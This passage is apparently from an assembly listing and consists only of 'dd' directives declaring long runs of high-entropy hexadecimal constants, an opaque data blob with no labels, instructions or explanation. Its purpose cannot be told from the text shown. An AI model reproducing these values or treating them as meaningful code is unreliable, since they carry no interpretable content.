9067FE85h dd 0BAF2AD9h, 0DDB5B300h, 0FB284C3Eh, 0FF740072h, 0EF8DBCE8h dd 8F00AF77h, 0E4FEBF64h, 0F440579Bh, 0B94700F3h, 2C44BA5Eh dd 0D716A046h, 0DF01AC1Ch, 27755BD5h, 4BEAF8h, 8AF53FAEh dd 20A50207h, 8F982401h, 488813A7h, 0F4C5D880h, 2DC41850h dd 4A493800h, 1FD3EEDBh, 0F4D0FF5h, 7F8022B9h, 2A4E0748h dd 24F40175h, 0E9985100h, 66AD6A74h, 41BB00DCh, 2BB33792h dd 0D0C0D24Dh, 0A6DB43D0h, 19A707B4h, 0C0FD11C9h, 5EDAF774h dd 0D9ADE400h, 0E868A64Eh, 0B9D008Ch, 0A1B096FDh, 0E30C4220h dd 0F844E77Dh, 82724DBh, 570300CCh, 0E1AEBD7Ch, 0FA6D5600h dd 1AD3DA3Eh, 780B0087h, 0B8BC909Bh, 6A009DBFh, 93613124h dd 4B7F09h, 0DB5EDFC2h, 0CE424ECAh, 43026BF2h, 56FA2268h dd 987C430Bh, 0DB16C4h, 80937CBBh, 9236BA77h, 1706900h dd 0A3DD2189h, 0F3A700E1h, 57CB7B48h, 0E5E8FB96h, 92AAB400h dd 0C3889F16h, 0AD110C99h, 0C5B8DD18h, 0DCD60A0Bh, 0C0FC25h dd 2E6C5FF6h, 0E30251C1h, 4BE7C0D9h, 0B30357EEh, 6BD80E62h dd 1960FCB6h, 9C70F298h, 0A90F0398h, 0CB1107A1h, 50BC2DD8h dd 0A5271000h, 5FF5EBF3h, 692B00EAh, 0B2281AE9h, 0A00D60Dh dd 6B98CC1Eh, 4FDDF6Eh, 0E5C923BCh, 918CC092h, 0F54D32D5h dd 0B088287Ch, 6CA92600h, 0A1038906h, 0A0AE2873h, 0D5D70FA8h dd 0BB40690Dh, 790BDE92h, 5EE54518h, 4A86DF2h, 484B2099h dd 1B180E0h, 5200F969h, 0EA7EFA5Ah, 0AB09BEh, 4A293F2Bh dd 936CA528h, 334EB500h, 91DC3876h, 12B85Dh, 329E9D50h dd 0B86BE0E3h, 85040300h, 13974041h, 0FB7E0567h, 90BE30AEh dd 68BB0A9Dh, 0C7025900h, 549E8FB0h, 58EB000Dh, 7BDFA60h dd 1F006106h, 64C0F187h, 7AB7E74h, 0C2AAFC1Ah, 0C7B580F5h dd 5C02AD1Eh, 121657CFh, 0E8E213h, 0A966728Ch, 0C5D8005Ah dd 546994FFh, 73750291h, 0C15DA41Fh, 598EF500h, 1ED57B7Ch dd 0C0AA3186h, 6C5AC0F6h, 75009C50h, 0BD388FD2h, 4CA9BE63h dd 2208E007h, 0E78023E5h, 863BC43Dh, 1DEB00CEh, 0ACF8D476h dd 0D73EE872h, 0E6E1000Dh, 42598A5Dh, 8FB805h, 3A8941D1h dd 0A8E625Fh, 0CB447800h, 0E0ECC6D2h, 5BAC00CAh, 0BDF0C2EFh dd 7E007CC7h, 0DC6C51FEh, 79C59927h, 967977h, 45249701h dd 98E55DEh, 0CF73E405h, 8C807C17h, 3FD45181h, 0DF3EDB41h dd 880FE307h, 0C2180014h, 3E046C69h, 6F6071D5h, 16E25080h dd 36AF075Ah, 94856B20h, 3A309233h, 0D3000864h, 11D97A4Ch dd 1279BDEAh, 4813E9h, 0A06920Ch, 0BE0228DCh, 9248F35h dd 9A35E023h, 9A2BE299h, 15A700A4h, 0CBDEEFD3h, 749A45A9h dd 446C1E00h, 94A5968Fh, 6DB822h, 5840CF1Bh, 603DD752h dd 43B9DE07h, 97902D90h, 0CDEA91h, 0B6541F0Dh, 0D7DDC037h dd 0C500EB79h, 26BD3D34h, 5889BC9Ch, 2307D0C6h, 0E3B87180h dd 0D907A713h, 2E8E9DDFh, 1A0C4C80h, 0FFFD1FC1h, 7EA0C3F2h dd 65F04EE6h, 0B400963Ch, 0A39E79C0h, 1C38972Bh, 381A8595h dd 83860F00h, 1F188E9Fh, 9B121B16h, 0EE3FE440h, 0B721ABh dd 2DA92266h, 0A037B8F8h, 0B4358501h, 76B2F623h, 212EF070h dd 26901628h, 300EEDC8h, 92A182FDh, 0C378E3FBh, 5D1011E5h dd 0D53CC3h, 0E44124DCh, 99B147h, 0C50B194Dh, 0D57F3E93h dd 5F84A600h, 74CD4A1h, 177550h, 80B93D2Ah, 0D45F593h dd 6C0BD5E8h, 0A9D121DBh, 807180ACh, 0A95299h, 0B9152AEDh dd 6CF5A336h, 0E073883Ch, 0C92EAFA8h, 0A80509EDh, 0A0A00DF9h dd 0CB16220h, 0C20B361Dh, 1280D2DDh, 6BEC7F82h, 278B0013h dd 0AD1BA910h, 360EF82Ah, 53183F4Fh, 0AA135600h, 0F725EAh dd 34D4C33Ah, 9CE9D706h, 20934D00h, 33D8F1C5h, 0F9833F97h dd 0FB1E5A5Ch, 0E42880A2h, 0E696DD0Bh, 45ED951Ch, 4755E70Fh dd 0A0D030F5h, 98A693F6h, 8B740048h, 0F115F351h, 0CC008AC9h dd 0F0B302ACh, 0DC186Fh, 0D49FDFECh, 0AA594DB1h, 0DE00E876h dd 785E22C1h, 6533BAh, 4F28CD0Dh, 0A931A244h, 5C05E4A8h dd 0FA3DE300h, 51B3DC34h, 5AB000BFh, 0EDEC9963h, 8C00BC1Eh dd 0EF769F3Ah, 0C30627Bh, 0A2E16A28h, 33243240h, 24BC0427h dd 46147FB7h, 0B61109B4h, 70306B54h, 76B77EF8h, 388586Fh dd 44382600h, 4AC2F548h, 7EB6A736h, 0E986EC31h, 25813C2Ch dd 0F0AE2D8Ah, 19DDB082h, 31BAAA8Ch, 262B0345h, 0D67F14A8h dd 0B40D1DAh, 0FD148107h, 4430F8h, 77B760B6h, 0E5481Bh dd 0AA0D3640h, 573349DEh, 28DA49h, 929ABD1Dh, 9D3506Eh dd 0EECF1051h, 0FBBA0F00h, 1C00B04Fh, 448F33FFh, 501621h dd 66B60E98h, 736F88EAh, 24AC3C2Ch, 9979B418h, 0A6BE07F5h dd 0C0B268B8h, 896DDCC8h, 3EEDA003h, 9088670Dh, 0A3628C6h dd 1B3BDF66h, 13C8B080h, 5030A192h, 3A02A1CDh, 2A8C010Ch dd 0A8DC4B47h, 8AA0E0E6h, 0A420CD03h, 9036062Eh, 79B37F1Ch dd 6A970EC0h, 0CAE0FFE2h, 438F9285h, 4CED4F00h, 3CEF9E21h dd 57C10059h, 0A068917Eh, 20374599h, 216C08A3h, 7E5D0361h dd 7C29674h, 323F26F8h, 66F9F800h, 0E0928AB0h, 15CE003Ah dd 0AB4C3CEAh, 5E30B82Ch, 4A0518A0h, 0EAFF8ECh, 44D558A1h dd 56795898h, 0CE462E00h, 0C638C15Eh, 5A08CC66h, 72988421h dd 0D5E2D800h, 50DDB9ACh, 1D410082h, 76BC7B69h, 0F503EDA6h dd 3462E233h, 0B0106C29h, 9698AD40h, 0F1319132h, 7E55304Ah dd 0B0689B11h, 6B809C88h, 0C8A7E53h, 1BC100FFh, 67E95C55h dd 63E060C7h, 0C13802E9h, 0F0B937B7h, 0FA595781h, 8077C012h dd 0CF19B188h, 7FB44E33h, 50583C15h, 4FBA93h, 0CB366741h dd 5A004555h, 77D5E64h, 7FC329D1h, 0A0900FBh, 872FBDE0h dd 9501A4E9h, 43D69EFFh, 2AC87299h, 36EE00D8h, 49C6A5F6h dd 1317B018h, 0B00C7C0h, 0C57E5009h, 0BC480006h, 0F7D51610h dd 94075472h, 74B48712h, 82AE9E90h, 7AD0005Dh, 76F70595h dd 0D4007D8Eh, 3F396011h, 59020Fh, 0A3D7F84Fh, 46F5894Ch dd 0B876D200h, 6760DF2Bh dd 293B64DAh, 0BD192463h, 1C08C429h, 84973744h, 42FEE022h dd 30D01190h, 0E0008B22h, 14DE845Dh, 0CEB7F6h, 60FD034Ah dd 0D72F507Dh, 0C1E35100h, 382332CCh, 0E6DE00B5h, 0B66E3984h dd 3B731E5Bh, 778C9E00h, 0E8D587EFh, 0CADA00A1h, 8F962E12h dd 0D7284A7Ah, 90008A26h, 485C204Dh, 0EE08283Dh, 0C82A00EBh dd 0E6E26E0Ch, 0FB5881CEh, 10C40018h, 2C8CD360h, 0EBD8BD1Fh dd 84178503h, 80FC0CF3h, 3970B3h, 44EC869h, 0BE0E43A9h dd 2B8838C0h, 981D76F6h, 773900DCh, 7130994Ah, 94009DC1h dd 0A52C4828h, 9958064h, 1803F374h, 7BCB0400h, 0F404C9D8h dd 4C5C23D6h, 2BEDA80h, 8DF60929h, 300B21Ch, 24376E9Eh dd 0F2136C04h, 1D801280h, 75179C8h, 6E96FEF0h, 3A53505Ah dd 0AB002A52h, 0D811450Dh, 7CF11970h, 0D1EA0Bh, 0A2B5750Fh dd 0C167D4B9h, 0F4BFE800h, 4C2B2627h, 53EA007Dh, 0D51BF224h dd 3600BC05h, 0ABE90E54h, 25E4F90h, 49886541h, 2C40702Eh dd 0E30F82ACh, 0EFF7AD67h, 280093DBh, 0F9978D99h, 344703F8h dd 931B1E98h, 0C39A3AB0h, 0B46BFCE7h, 0DC236900h, 0F4598889h dd 90ECC7h, 1F5CB553h, 5FAC70EAh, 2A6B6F00h, 10DA4867h dd 0ADB318D3h, 3D3A292Fh, 0C2770500h, 8EDAF744h, 0A018C097h dd 141D921Ch, 7875A900h, 3172BBC2h, 494F008Dh, 0E90D1AC0h dd 0F004E64h, 3E695707h, 5C93DC28h, 68001587h, 4AEFDD22h dd 9E1F2ACFh, 0A9C06F58h, 98280312h, 40C70023h, 0A495492Fh dd 44285C83h, 0B6008805h, 1DB2AB2h, 4564E3h, 92C36C63h dd 87D78D89h, 660B0800h, 0E0C48F37h, 4ACA004Fh, 993A3FD6h dd 9707ED81h, 0C54EEC64h, 0E3C22C70h, 52740006h, 210725Ah dd 31018FA3h, 45A843ACh, 6BFC518Eh, 0CD840914h, 1800613Ah dd 0BFEB57A9h, 6DAB3C00h, 0B999853Eh, 0E56E1E88h, 0AAD3874Dh dd 0CE69F0EBh, 0FB008E48h, 0C3DA8394h, 3B24711Ah, 0AC806031h dd 69BF6BF0h, 55751DCBh, 236D6E01h, 54A3212Ah, 0B1BE108Fh dd 18A7A8E0h, 0BEA3440h, 92AD7100h, 492CFA87h, 915907D1h dd 0E0C2F135h, 3394AC9Bh, 0B096E0EFh, 5FE33700h, 6B8CC318h dd 0E57A007Eh, 3582914Bh, 0D449BE43h, 0CE1B0060h, 0D3563AC5h dd 0FF930078h, 0CC6677F2h, 0B100B64Ah, 0B54C19FAh, 0CE4D37h dd 0E720CA2Eh, 0A434589h, 5BA0A800h, 7B606173h, 79620064h dd 8D25BE78h, 4A0B9D77h, 8094F472h, 2249C3E9h, 4704007Ah dd 17AD6EE1h, 6D051DF2h, 0ED91D014h, 6C2FB980h, 49F40E67h dd 9320DD0Ch, 0FF0A7175h, 0D500D17Fh, 60AD5C4Ch, 198FCCh dd 72D9C2BEh, 5663B29h, 6200F0B0h, 4AB5D635h, 6954B4h dd 7488BE30h, 706C0620h, 0C9463Fh, 1B84F218h, 502607DBh dd 528879h, 0F653A312h, 49F9D99Ah, 8B6B2D00h, 5EA6174Eh dd 8C9A03h, 2496CC1Dh, 768A83E3h, 0BA731301h, 6894188Bh dd 1C80BC20h, 0C0225E89h, 921A9BADh, 3A30E674h, 0A52F598Eh dd 5DF7008Dh, 0AA35B323h, 0F3141D3Dh, 0A2AC334Fh, 64C08E02h dd 0B8D0C520h, 3E5532h, 0C64B0131h, 0D9FEFB58h, 335929C1h dd 0C820B0CCh, 2C2501E0h, 50A8C4E2h, 767BD4F7h, 0E50E73B0h dd 0E099D418h, 8E1C5F70h, 0C8F41DEFh, 7935001Dh, 0F275BC72h dd 0E2E2C098h, 803B5624h, 0BF3AD500h, 3E35E542h, 90004127h dd 94A1EC47h, 0FA24F92Fh, 0C6032CD7h, 90A206F0h, 32B8CC9h dd 0A8B9BA38h, 9F91427Dh, 0B460DA3Dh, 0D4ADCB6h, 0B4203EB1h dd 1FC10029h, 247B5D4h, 8300E12Dh, 808EA245h, 0C2CAE335h dd 14EC461h, 0EC615A61h, 1A00DE08h, 6D92C0CEh, 140A95Ch dd 5DF5E03Bh, 0B9E8C93Fh, 699E01C8h, 1891A481h, 67C0D431h dd 12580034h, 0F98D8424h, 40A99D1h, 8255B7A1h, 1215BF0Eh dd 56FBC800h, 2F74212h, 0A5B8ED27h, 5BE03B14h, 661C15BEh dd 0ACF05A1h, 80926038h, 3BC9710h, 0E4C14AE6h, 4DC05A98h dd 8503707Ch, 9ADF8376h, 43B2A0B0h, 9D300051h, 0A9C4CF5Ch dd 0B600E17Fh, 475E336Eh, 48BE11DDh, 34005075h, 1DB37E06h dd 2EE48A3Eh, 0FEEF1316h, 20144032h, 2FDB78E3h, 0CFA81F00h dd 37F9FC5Ah, 99D0019Bh, 241E7A60h, 88D43027h, 61EE0137h dd 339E0A20h, 9B71289h, 0CE004341h, 60103866h, 451D75A3h dd 78D200A0h, 1E89CA0Ch, 9316E500h, 4D8BC7BCh, 0B654007Ah dd 0A0CF9647h, 0E600843Bh, 33ED18CAh, 0FEBD245h, 1191FB1Ch dd 0F3DD8260h, 27003474h, 0A204BF6Dh, 12FA95D0h, 45F990h dd 0BD431E0Dh, 0F600976Ch, 3B13ED2Ch, 4C94226Ah, 101DA2D2h dd 0D6EA8005h, 9B2520D4h, 4218DB70h, 0C6D84B19h, 4FD70068h dd 157D56EAh, 1E00C03Dh, 0AA65C2A4h, 50974Ah, 98191B7Bh dd 57A8D063h, 1F62D600h, 24BFC647h, 0D7F51238h, 4AD40F59h dd 1F2654Eh, 0CBE8EEECh, 1690C01Bh, 0D376300h, 0BBD0B2B8h dd 0FDDF0585h, 0FBF23Eh, 0EA777CA4h, 4500170Dh, 93FA1D6Ah dd 8C0B51h, 69D7B0Fh, 14CE83B1h, 58E37907h, 78201318h dd 369F27Eh, 0D568C2E5h, 7FC0974Eh, 0D8013398h, 9C37BA99h dd 830D06Fh, 0BB361276h, 0C3640206h, 584011EAh, 730722F9h dd 0D3CED9E8h, 3CDF9C90h, 0B55C0FBCh, 5AA3E0ECh, 2D88C46Eh dd 7414AA2Fh, 7B4284Fh, 0DB3B8EB5h, 481820FBh, 521205h dd 0B7B4FEAAh, 0A52EECD1h, 0C4348h, 0BBA38B94h, 1A8C37Eh dd 0F7FEA1FCh, 701B1755h, 0BF00C884h, 0C5A02A3Bh, 90B1EAA6h dd 5F670048h, 0B3360439h, 6EFC5915h, 508F322Ch, 10F07D89h dd 811F7B70h, 0AD2EE858h, 8BC6CCEFh, 648D060h, 31BDFFh dd 77DE393Dh, 0BF723F2Ah, 11A44100h, 0EE8CA946h, 0ECA20493h dd 0C00324EFh, 44E79498h, 6803100h, 0CC89260Ah, 6EEF0658h dd 0F848796Bh, 374E6601h, 0DDB60A2Fh, 5262B30h, 5B6287FFh dd 0EBC0FB8Ah, 1639FBDBh, 0BC3042F8h, 3F5C75AFh, 0C49F03FEh dd 0F8375598h, 0F42A9DB4h, 20D44885h, 0EAC90E04h, 0B58CD0A9h dd 99C00286h, 0D7307F9Dh, 6FC10644h, 0C049E4BDh, 1ED4B158h dd 0C257B2B0h, 0DF522C00h, 98D7BC5Ch, 34050F54h, 15453790h dd 1DF207DBh, 71ADE0E6h, 93006788h, 0ABAC05FAh, 2E096Ah dd 0FBA63FD2h, 0C37F7932h, 0F24A8E04h, 0C8C0F4D9h, 716A7A2h dd 0B59C9A46h, 0C08E05B2h, 693F7009h, 58286C00h, 59B32E14h dd 75FD0018h, 48687C1Fh, 99005691h, 5CA5EE41h, 2EE57961h dd 75F1602h, 0C050C9F1h, 6839C6B7h, 565D200h, 74F2AEA9h dd 34B829h, 4135F198h, 71C179BBh, 0A4314739h, 0DF038040h dd 8801DB75h, 27E2BEh, 4CA1AB34h, 1AD7FF6Ch, 93AC6200h dd 22994B7Ch, 443A0074h, 0CDF02EA8h, 0C60279E7h, 5767E02Ah dd 0A028C80Eh, 779F7369h, 954A0966h, 3C18A27Ch, 188064BBh dd 0ED6F0032h, 0AED32D36h, 5100E347h, 6DD46CCEh, 0F79D7Fh dd 0CFBA34DCh, 0FC791D56h, 0C4001477h, 0BD46D162h, 0BFC0E0h dd 0AF222EB0h, 8BB3095Ah, 7182A000h, 0CB234BDAh, 9A0B00E6h dd 0EE5E0E9Bh, 89E05B35h, 82D34201h, 0C9609124h, 0E12530h dd 0EE0349A0h, 35CE95F8h, 0BE447B00h, 4CBC8B73h, 0B291FFEh dd 0D84580D1h, 9CB5A353h, 0CD64AE00h, 0D9308071h, 5B5500E5h dd 0F7E9F25Dh, 1100A205h, 9DECF5E1h, 24CF8Dh, 0AD675728h dd 8338BC2Dh, 10BB1E06h, 7598963h, 31F25B9Bh, 0F5272F99h dd 9AC2106Ch, 9F3C7B97h, 0DBB18571h, 0FDC3D117h, 1F620057h dd 0F87C7D5Ah, 6200F292h dd 0A0B3C820h, 0AC3589h, 13B02B9Dh, 15BB6158h, 6525300Eh dd 0A2C2E14Dh, 6E8CA5Dh, 0E0ED6397h, 5CF0A777h, 8C00A37Bh dd 66C9C58Fh, 1466BA5h, 6C49D822h, 615588FDh, 59E1D8ECh dd 0D9D78400h, 0A871B88Ch, 0E5EABEh, 8ED68AFAh, 0E46F128Bh dd 0CE923603h, 0E8F63148h, 13A62051h, 0BBA10Ah, 27A4E41Fh dd 0A70025CEh, 2DD9FD19h, 0B832B5h, 81F316DBh, 73F09BD6h dd 0D54438h, 0E9070582h, 26910Fh, 7D5168FDh, 86FE50D2h dd 7CFC1E54h, 88CB407h, 0E1200497h, 50E98384h, 2714F763h dd 0C00C7C6h, 7CAAD338h, 0E2EF4F09h, 5FC0606Ch, 390898F8h dd 1400991Dh, 0CCDD5AA6h, 8600282Bh, 4E56B7D7h, 3A4DBAC0h dd 8400A13Eh, 0AE017149h, 0DF005AFFh, 9F4BCEDAh, 0AF5865h dd 3EF496F1h, 0AE32EE1Eh, 4D00457Bh, 80B2F5E7h, 3F5781F2h dd 49819751h, 0FAF0E383h, 1E4FC17h, 67568C03h, 9341AFB6h dd 259800FCh, 0E6294540h, 0CE60C133h, 3D885A60h, 105F587Fh dd 8387A005h, 0D10180A4h, 99009341h, 0C1686AF5h, 7533561Bh dd 25BA3D0Eh, 97A81200h, 0F2F77A57h, 628C661Dh, 5CDA7D80h dd 7C53128h, 4952DE18h, 696310DDh, 0B700E484h, 0B134215Bh dd 4AE1Eh, 0EC06E2E5h, 44BA9177h, 478D9701h, 0DD1D3050h dd 0CD71ECh, 8A39E17Ch, 3CA0FAFDh, 0AA172901h, 528E336Fh dd 1AFEF8h, 786AFF28h, 0DEBAFCBh, 110B13Fh, 313A5CF2h dd 0A0645AF3h, 94148480h, 8CF9FAh, 0EDA6DA74h, 59E8F87Ah dd 14117C8Ah, 0EC70EF1h, 1C8DA0FAh, 391769h, 3698119Ah dd 0CF7BE378h, 0F20F7D02h, 89B87573h, 0ED4C82A4h, 34563BEh dd 1C1A2B10h, 9A9261C5h, 5003058h, 5407A404h, 32D53609h dd 0C0781C8Fh, 0A92C78E4h, 631F1457h, 0B0DD4040h, 0B6354Fh dd 93A261C3h, 0B995D903h, 1B24C600h, 78FB964Eh, 3E3B009Bh dd 27CF56ECh, 0C0048937h, 4E12CA94h, 20F40884h, 0B7E10051h dd 4DE827A5h, 0A900F83Fh, 40B0C6E0h, 3F4ECBD4h, 31E4C7Dh dd 20920234h, 805891CCh, 0B036171Dh, 0F7F4C00h, 47A6B7h dd 0BCFFBA1Fh, 0E8048B3Ah, 9BA2B400h, 0CFEA9007h, 5A53009Dh dd 199D781h, 651C4B58h, 88C420C3h, 0AC91EFD4h, 0E039D153h dd 904EC801h, 109186E5h, 17164A73h, 45DED7h, 0F10B8D38h dd 0DC9E7FA8h, 8FA25900h, 126F19C8h, 0C17163DCh, 83E0447Ch dd 0A7ED0361h, 97F480DEh, 62000BBh, 8DC16A4Dh, 30026EE2h dd 0CF79A243h, 0E4574BEh, 4C0D906h, 0F6E016ADh, 74666A1Fh dd 45777885h, 0A3EDA440h, 3D680D9Fh, 55803F22h, 6B563972h dd 7B00374Dh, 10DA4EEFh, 3EFD1753h, 780A66Dh, 42892CBh dd 4100ED52h, 0D95F72AEh, 9A67F6h, 81CF0173h, 17C0F722h dd 56C18327h, 957E00BCh, 5E8F51D4h, 0FB5F8A00h, 1F9BFE29h dd 1AB23E0Ah, 56B469Ch, 1E3513A4h, 0A34903D0h, 9C9088F5h dd 3703447Eh, 0DAC591D4h, 0CB98020h, 41A70051h, 43464A21h dd 6000AC6Eh, 0B79091DEh, 0F4F185h, 9C954930h, 0D64CD48Bh dd 8ABEA8A0h, 0E9732217h, 6B3D7400h, 6ADA24h, 0DC2FB5B1h dd 8FBE3310h, 989CB700h, 49D2F2A4h, 0A12200D4h, 8C9E15B9h dd 0CD7BF6E6h, 0DBCA7701h, 5A5263DEh, 6A78C4h, 5CAF3543h dd 0BB315590h, 2A5E13Fh, 6B18F3B6h, 26BC5AE7h, 805C2926h dd 80D2F6ECh, 0BD005F12h, 0E937DC3Ch, 0E8DA96FFh, 0C0F370A7h dd 7719B11h, 5BB06706h, 0E7F8CD4Bh, 5E1CEA03h, 0E000DFB9h dd 0DC85399Fh, 7601830Dh, 38901F4h, 694BE492h, 1BCC3C22h dd 0C8B8042Eh, 2437E8h, 104B0B31h, 0AAAF677Dh, 0E1276A03h dd 0B0929BDFh, 4C9C15B5h, 610092C3h, 9D4AF764h, 9100D046h dd 5086DFE6h, 0A9BC79h, 0F57A305h, 17C48EC3h, 0BF6B0D00h dd 0F34F8C6Eh, 0FA913C90h, 0AA2B0A84h, 1BB8020h, 2F0324D2h dd 0C01F71ECh, 8FCCB862h, 78A4004Dh, 5805F0D1h, 6127AEF8h dd 25D800DDh, 23EB5DEh, 0D5D02BDFh, 80687074h, 0A900FBC4h dd 9B1539A4h, 0A5EF6Ah, 0F5010280h, 745F38Ch, 0BF689500h dd 5D115CFh, 94677B9Ah, 0C7BC00C8h, 932663FFh, 0A1628302h dd 609A0C5Dh, 0FA8A44h, 0D44785E3h, 89E76528h, 8C4BC426h dd 7B524683h, 941FD8C2h, 0DAEC00D1h, 0B01BFF76h, 8B7969A6h dd 0A724E607h, 0D3905B68h, 0E27406Fh, 0B3226E35h, 0F5C9B800h dd 12509B74h, 6777992h, 50D6F800h, 3A33754Ah, 55F00058h dd 0BA9BB3BCh, 0DA00BF35h, 0F31A7D17h, 8CA78Eh, 4E249E77h dd 2D3E11F4h, 0DB20CC00h, 0B1613429h, 8967000Ch, 0DC6D6B8h dd 96007ADDh, 15E25C84h, 0EF42A7E1h, 0BC284430h, 0E057003Ch dd 0DB78FEFFh, 0A7F6C700h, 3CC9322Eh, 0F8B2004Ch, 0D1568590h dd 9479CDFCh, 0BA6E0F00h, 0EE5D58Fh, 93B909DCh, 64AFF19Fh dd 0FE0D51A0h, 0F937D843h, 3BB2E6FFh, 0D7706098h, 90CB0005h dd 7A762DBAh, 7900D24Dh, 0D856C8B4h, 9E14E8Ch, 0A9CC0946h dd 30733380h, 0F80019D7h, 65D65FB9h, 2C2C211Ah, 4098E6h dd 252F0867h, 0B8BE38F6h, 30728703h, 57A8A0CBh, 99E3615Bh dd 24D0505Fh, 3E22D20h, 0D2F0C0Fh, 6F026FCh, 0F005F018h dd 2D2A1CEEh, 5D579C7Ah, 807D9E91h, 8768EF8Dh, 0D603FEF5h dd 0CBF1B447h, 0D438031Dh, 51140396h, 0F974FCC0h, 0E888CF1Ch dd 7FB502C1h, 18BFDD87h, 789C9003h, 5880EC57h, 53AC43Bh dd 8D3D00FFh, 1D9E71F9h, 7308BA74h, 811A01F7h, 0D9C5305Ah dd 5FC7D064h, 0CF648A50h, 0A9B6D100h, 0D31F56D5h, 0CA7D012Eh dd 0CD3D5CE8h, 0D85AFC4Ah, 1EDD5048h, 95000F83h, 20FB1A7Eh dd 9D6B02ABh, 1630B718h, 60723261h, 0B1F0F2AFh, 0D70E93FEh dd 56E49Eh, 11D82A47h, 0B8A900B0h, 9120B9D2h, 0AD034108h dd 1FC7D150h, 1DC9C090h, 2CA60354h, 0D33DE7EDh, 64CFA800h dd 81347CA1h, 603B001Bh, 0CE044977h, 213EA253h, 31150039h dd 797F5ED0h, 0CD1B02E9h, 1CC83BC6h, 753FA5E0h, 2907403h dd 0AE767CDAh, 0E98B0734h, 30805CE3h, 0F495D367h, 462DF10Eh dd 0C99F60D7h, 42AE2Bh, 0EE7CAF4Ch, 4703199Bh, 81730400h dd 86DB877Ah, 0ED8D00EAh, 69079D59h, 0EC766E7Eh, 26796F0Fh dd 0EA1227BBh, 87DF20A0h, 0E47F0086h, 0B4FF022Bh, 28006B58h dd 0E96D0111h, 0CF6EE5h, 2FAE6745h, 97B55385h, 7A16D412h dd 0F8B35101h, 0CB43D004h, 366EA0E5h, 62E71486h, 5E28F876h dd 7D8A0064h, 995ABA50h, 93EA9758h, 256DA303h, 0AA890887h dd 0B9F8E070h, 392C0101h, 0EEDECE13h, 7F58384Eh, 30437600h dd 155DA2AEh, 1625E66h, 0C07E7F00h, 0CA09E88Ah, 0F53AEA7Dh dd 8973070h, 1F77CF67h, 42C01061h, 266B51ACh, 900CF4D0h dd 49FA1E9Dh, 2A7400E7h, 0DCBCC60Fh, 7B3B7EA5h, 0D72C8452h dd 0A0D0DF27h, 18C0B25Bh, 3940464Ch, 0DB25EED9h, 425800F9h dd 0EB5130h, 67FA1A48h, 40415FF6h, 8CDDFE3Ah, 3987C4F7h dd 0E91C005Dh, 68F0BA6Dh, 3D004E6Ah, 0ECB81BE6h, 171FA2h dd 3BD6094Ah, 3F2DC63Ah, 0FB48AA74h, 94780035h, 0BEE61D1Fh dd 137B00Eh, 654C9D87h, 2FC33641h, 50388300h, 1FBFA217h dd 0C7AF1FA9h, 0BA20A0B3h, 383900E4h, 0E42E121Ch, 130E5F01h dd 5601EEDFh, 4015B851h, 13D0870h, 0C02AB4BBh, 94CA1EF7h dd 0DC79E9h, 159F3EEDh, 1FEF8110h, 47490195h, 0C9CB471Bh dd 5B0901F6h, 0DC4A01Fh, 896104h, 95C76867h, 3344BC77h dd 0E160140Fh, 4BD240F2h dd 265B51D5h, 2654798Fh, 169831EDh, 0A06717F6h, 9E4338F0h dd 99713C2h, 7FAC43C8h, 0D8006C59h, 943E028Ch, 0A8D42BDh dd 6D77242Ah, 67A6BCh, 3F2517FAh, 2300BEC1h, 0D759728Ah dd 0EAF9A8F0h, 0C32D00D8h, 9B399446h, 14001905h, 71E4F52Ah dd 7C74F4E5h, 9234F0B6h, 3DFB024h, 548ACADCh, 697ABE5Dh dd 0E589C300h, 669F6123h, 0AC1F4D1Bh, 873AC40Bh, 59188020h dd 0A200E36Eh, 92F9EAEDh, 1AC9F2h, 374AC53Eh, 0D72F7467h dd 0B2003170h, 0F5DD5FB1h, 7E6DEEEh, 0B5DA3D12h, 0F11B5083h dd 5516E980h, 0E04114CCh, 58A0DD56h, 3ED10EECh, 0FD868099h dd 100D94DEh, 0DD55A305h, 91C7EE51h, 1A393A60h, 0B64F0086h dd 67D3036Eh, 7C1E80ABh, 0EC00D631h, 0D55EFEADh, 102B0271h dd 0DE1C91A1h, 0E70388D1h, 721EFC40h, 8128B4E8h, 4B81EB26h dd 0DEDDF036h, 0C23F997Eh, 63AB841Ah, 80BB56EAh, 2EFC393Fh dd 58968F00h, 4F6A119Bh, 95B0312h, 0EE6399FBh, 4B7AB3A0h dd 9D7FD800h, 0F3E1BA06h, 1B4307F6h, 2062C4B2h, 0D8128E25h dd 56A3EF00h, 5E42746Eh, 0D2870F5Bh, 7060C74Dh, 0D6039175h dd 83B47F0Fh, 2326CB35h, 821B0450h, 8C3260EBh, 9D810033h dd 7B73CCF8h, 2B006BD6h, 0A81D5C20h, 3C2745A0h, 253D23D5h dd 0B9224380h, 549A3DB5h, 0FABDA512h, 3F3C0400h, 0C09020E3h dd 9FC89211h, 0A63A6457h, 0BE08829Ah, 404E280Bh, 7C29B3ACh dd 0CF5A0088h, 4F4745EBh, 9F077770h, 3C378503h, 5BC08230h dd 0EAD10598h, 0E0FACF58h, 754D2504h, 93E83CBCh, 8406FBFh dd 5B85020Ah, 0E362254Ch, 58F1C880h, 0CC0028DDh, 0B98D3741h dd 226F31h, 0AF6D4DC0h, 1280D361h, 48368700h, 0D4865AD5h dd 73771E9Ah, 6825C0FBh, 19966379h, 0D0F7EEFEh, 910027D9h dd 9CC13DB8h, 38401E92h, 600CA48h, 19543063h, 283A94F7h dd 271C7567h, 0D10061BCh, 95E07396h, 50D9002Dh, 0BB1CA0Fh dd 0D6035647h, 2093B399h, 0F248C8E2h, 485890FDh, 0DD0FC497h dd 230110A1h, 50C99AB3h, 22E521D4h, 3069C00h, 4E955B01h dd 55BA003Eh, 0F82B04B7h, 0BD035F8Ah, 0EB8518D5h, 7A56E268h dd 5D7B54h, 2ACC935Ah, 73D25801h, 0EC6A3D2Ch, 0D4DD8A03h dd 7AE8E0D1h, 601E3DA6h, 0C2A72F80h, 2C53EFADh, 0F76A9E00h dd 0ACA9987Dh, 8FA40h, 5C887BDEh, 81DF3011h, 9AD70C00h dd 0A6862187h, 756717Eh, 75E8DA09h, 0FC127207h, 850F1240h dd 8DD71F00h, 6BC60B06h, 2C940EA1h, 414ED9BCh, 0EBBD007Ch dd 800840ABh, 802FF63Fh, 890B3CC6h, 787ECF62h, 424097E9h dd 72EAB0DBh, 0DCF07FECh, 8CEF9D00h, 0A2A0084Bh, 0B56700E5h dd 0C5934633h, 0C803501Ah, 0CBC46EA4h, 59B8F82Fh, 5CB8E8h dd 1436E68Ah, 8C7252DAh, 773CBD12h, 0F300A053h, 0DB843985h dd 19780016h, 81A08B5Eh, 251F0F72h, 0ED810506h, 16FC7D52h dd 0E400AC31h, 0EF13ACh, 65942F80h, 